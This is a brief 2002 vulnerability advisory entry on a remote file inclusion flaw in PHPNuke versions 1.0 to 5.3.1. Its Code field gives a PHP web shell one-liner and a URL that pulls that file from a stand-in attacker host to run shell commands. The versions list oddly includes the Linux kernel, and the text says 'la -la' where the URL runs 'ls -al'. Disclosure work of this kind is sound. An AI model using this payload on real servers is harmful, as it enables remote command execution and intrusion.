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Title	PHPNuke Remote Arbitrary File Include Vulnerability
Published	2002-01-16-12:00AM
Updated	2002-01-16-08:29PM
Class	Input Validation Error
CVE	CAN-2002-0206
Remote	Yes
Local	No
Credit	This vulnerability was submitted to BugTraq on January 16th, 2002 by "Handle Nopman" <nopman@hackermail.com>.
Vulnerable	Francisco Burzi PHPNuke 5.3.1 Francisco Burzi PHPNuke 5.2 a Francisco Burzi PHPNuke 5.2 Francisco Burzi PHPNuke 5.1 Francisco Burzi PHPNuke 5.0.1 Francisco Burzi PHPNuke 5.0 Francisco Burzi PHPNuke 4.4.1 a Francisco Burzi PHPNuke 4.4 Francisco Burzi PHPNuke 4.3 Francisco Burzi PHPNuke 4.0 Francisco Burzi PHPNuke 3.0 Linux kernel 2.2 Francisco Burzi PHPNuke 2.5 Francisco Burzi PHPNuke 1.0
Not Vulnerable
Code	Create the following file on a remote server: <?php system($cmd); ?> The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke: http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al
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